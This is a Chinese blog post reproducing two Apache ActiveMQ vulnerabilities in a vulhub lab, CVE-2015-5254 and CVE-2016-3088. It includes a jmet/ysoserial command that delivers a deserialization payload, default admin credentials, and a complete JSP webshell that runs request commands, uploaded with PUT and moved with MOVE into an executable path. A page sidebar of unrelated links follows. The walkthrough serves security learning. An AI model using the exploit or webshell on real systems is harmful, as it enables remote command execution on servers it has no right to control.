当前位置:网站首页>vulhub复现一 activemq
vulhub复现一 activemq
2022-06-26 01:12:00 【shayebudon】
一、概述
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
环境运行后,会开启两个端口,61616和8161
其中61616是工作端口,消息在这个端口进行传递,8161是网络管理页面端口,访问ip:8161即可看到网络管理页面。
一 CVE-2015-5254ActiveMQ反序列化漏洞
漏洞详情:
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码
1.上传文件
使用ysoserial构造可执行命令的序列化对象
作为一个消息,发送给61616端口
访问web页面,查看消息,触发漏洞
下载jmet的jar文件,Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME
执行如下命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch
/tmp/success” -Yp ROME 192.168.4.10 61616

这个时候已经上传到web管理页面,我们通过访问
http://yourip:8161/admin/browse.jsp?JMSDestination=event
来查看消息
点击查看这条消息,触发漏洞。查看容器中/tem/success利用漏洞成功
二、CVE-2016-3088Activemq任意文件写入漏洞
首先访问ip:8161/admin进行登录 账号:admin 密码:admin
访问ip:8161/fileserver进行抓包,使用PUT方法,将webshell上传到fileserver目录下
jsp的内容为:
<%@ page import=“java.io.*”%> <% out.print(“Hello”); String
strcmd=request.getParameter(“cmd”); String line=null; Process
p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new
BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){ out.print(line+“”); } %>
访问jsp页面
没有解析成功,是fileserver目录下权限不够,访问ip:8161//admin/test/systemProperties.jsp,查看Activemq的绝对路径
等到他的绝对路径后,访问/fileserver/4.jsp,进行抓包,利用MOVE的方式将4.jsp移到opt目录下
移动之后,访问/api/4.jsp?cmd=whoami 命令执行成功
边栏推荐
- MySQL doit maîtriser 4 langues!
- Markov decision process (MDP): Blackjack problem (mc-es)
- CVPR2022 | 长期行动预期的Future Transformer
- IPhone 13 screen stuck black, unable to shut down? How to solve
- ROS2+DDS+RTPS
- 奶牛排序问题
- Raspberry pie + AWS IOT introductory experiment
- Depth first traversal based on adjacency table
- How to check and cancel subscription auto renewal on iPhone or iPad
- [untitled] vsbiji ESP thirty-two
猜你喜欢

How do I take a screenshot of the iPad? 7 ways to take quick screenshots of iPad

Explain the JVM clearly at one time and don't be asked by the interviewer again

Breadth first traversal based on adjacency matrix

College Students' big factory road

Consumer of microservices

Redis Lua沙盒绕过命令执行(CVE-2022-0543)

Digital commodity DGE -- the dark horse of wealth in digital economy

基于邻接矩阵的广度优先遍历

Ndk20b ffmpeg4.2.2 compilation and integration

SQL column value to row value (unpivot)
随机推荐
Cross server SQL connection configuration
哪个证券公司手机股票开户更好更安全?
多测师拱墅校区肖sir_jenkins中搭建出现页面报错
Spiral matrix
CVPR2022 | 长期行动预期的Future Transformer
VTK initialization code learning 1
Codecraft-17 and Codeforces Round #391 (Div. 1 + Div. 2, combined) D. Felicity‘s Big Secret Revealed
SDRAM controller -- implementation of arbitration module
FPGA实现图像二值形态学滤波——腐蚀膨胀
Prompt to update to the latest debug version during vscode debugging
Tab switch
Eureka注册信息配置备忘
Mongoose - Why we make “mongoose.Promise = global.Promise” when setting a mongoose module?
Graphics rendering pipeline
Small ball bouncing against the wall
Back to top case
基于邻接矩阵的深度优先遍历实现
微博评论的高性能高可用计算架构
Meaning of each state in TCP network communication
MySQL必須掌握4種語言!